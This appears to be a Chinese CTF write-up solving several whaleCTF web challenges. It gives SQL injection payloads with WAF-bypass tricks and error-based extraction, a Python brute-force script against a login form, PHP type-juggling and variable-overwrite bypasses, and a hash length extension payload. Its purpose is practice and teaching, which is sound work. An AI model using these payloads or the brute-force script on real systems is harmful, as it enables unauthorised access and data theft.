先输入’发现有报错,应该存在注入
然后尝试
1' or '1'='1
发现被过滤了
然后继续尝试发现空格,union,or,and
被过滤了,当然这里也可以用bp的爆破功能去测试,还是很好用的
然后这题还有一个坑就是xss的提示,输入<>
发现被过滤,这样我们就能够利用这一点去构造payload
而空格我们可以用/**/
来绕过
下面是我的注入过程
1'/**/o<>r/**/1=1#
1'/**/o<>rder/**/by/**/3#
-1'/**/un<>ion/**/sel<>ect/**/1,2,3# 发现没有回显,只能尝试报错注入或者盲注了,但盲注写脚本太麻烦我们尝试报错注入
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/database())),1)# 发现数据库,下面就是常规操作了
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/table_name/**/from/**/info<>rmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/0,1),0x7e),1)#发现表名flag_0d9a,其实这里也可以用group_concat,没被过滤
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/coulmn_name/**/from/**/info<>rmation_schema.columns/**/where/**/table_name='flag_0d9a'/**/limit/**/0,1),0x7e),1)#
这里突然发现column被过滤掉了,只能双写绕过了
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/colcolumnsumn_name/**/from/**/info<>rmation_schema.colcolumnsumns/**/where/**/table_name='flag_0d9a'/**/limit/**/0,1),0x7e),1)#发现列名flag
1'/**/a<>nd/**/updatexml(1,concat(0x7e,(sel<>ect/**/flag/**/from/**/flag_0d9a),0x7e),1)# 得到flag
这一题又再一次复习了用<>还有双写绕过的技巧
查看源码发现有9s81jWjd98YU.php
查看发现是一个登录框,先要想想有没有注入
输入’发现没有过滤并且只有admin一个用户
只能用爆破了
这里学会了如何用绝对位置获取验证码
再次查看源码发现密码范围在(11111, 12111),并且发现这里的username还有password都是以get方式去提交的
写个脚本爆破
import requests
import time
def solve(url):
url = url
Talk = requests.Session()
for i in xrange(11111, 12112):
ans = Talk.get(url)
Randcode = ans.content[ans.content.find('randcode')+23:ans.content.find('randcode')+26]
res = Talk.get(url+'?username=admin&password='+str(i)+'&randcode='+Randcode)
print len(res.content)
if len(res.content)!=160:
print 'Success! Your password is '+str(i)+'\n'
print res.content
break
time.sleep(0.3)
return
if __name__ == '__main__':
print '[+]Attacked by 0verWatch'
try:
url = 'http://daka.whaledu.com/web/web38/9s81jWjd98YU.php'
solve(url)
except:
print 'Something Wrong!'
最终得到flag
首先查看源代码发现index.phps
发现是代码审计的题目
error_reporting(0);
$flag = '********';
if (isset($_GET['name']) and isset($_GET['password'])){
if ($_GET['name'] == $_GET['password'])
print 'name and password must be diffirent';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die($flag);
else print 'invalid password';
}
?>
这一题很简单,利用的是sha函数的漏洞去绕过
?name[]=1&password[]=2
又是一道代码审计的题目
extract($_GET);
if(!empty($vs)){
$Ff = trim(file_get_contents($fF));
if($vs!=$Ff){
if(md5($vs) == md5($Ff)){
echo "This is flag:"
.$flag."";
}
else{
"Variable extract!>"
;
}
}
else{
echo "Hacker!
";
}
}
?>
都是很简单的题目利用了extract全局变量覆盖还有file_get_contents函数为协议以及MD5弱类型比较的性质
构造payload:?vs=QNKCDZO&fF=php://input
post数据:
s878926199a
查看源码没发现任何东西,只能去考虑源码泄露的问题了,试一下index.php~出现源码
echo "waht the hell?";
$flag = "*******";
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
?>
首先是一些预备知识
[:graph:]匹配任何可见字符
[:punct:]匹配任何标点符号
[:digit:]匹配任何数字
[:upper:]匹配任何大写字母
[:lower:]匹配任何小写字母
+表示一次及以上
|表示或者
/^[[:graph:]]{12,}$/匹配12个及以上的可见字符
/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/匹配标点、数字、大写字母、小写字母中的一个
结整段代码来看,我们需要post一个字符串,该字符串的值为42,并且要包含标点、数字、大写字母、小写字母中三个及以上类型,同时匹配次数要不小于6次
于是我们可以利用科学计数法去构造
password=42.000000e+0
或者是420.00000e-1
hash长度扩展攻击
可以用hashdump也可以用github上的脚本
以前的博客有些怎么用就不多说了
payload:
role=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00P%00%00%00%00%00%00%00whaleCTF&hash=aab9a3180e92bd4126d56011b672711f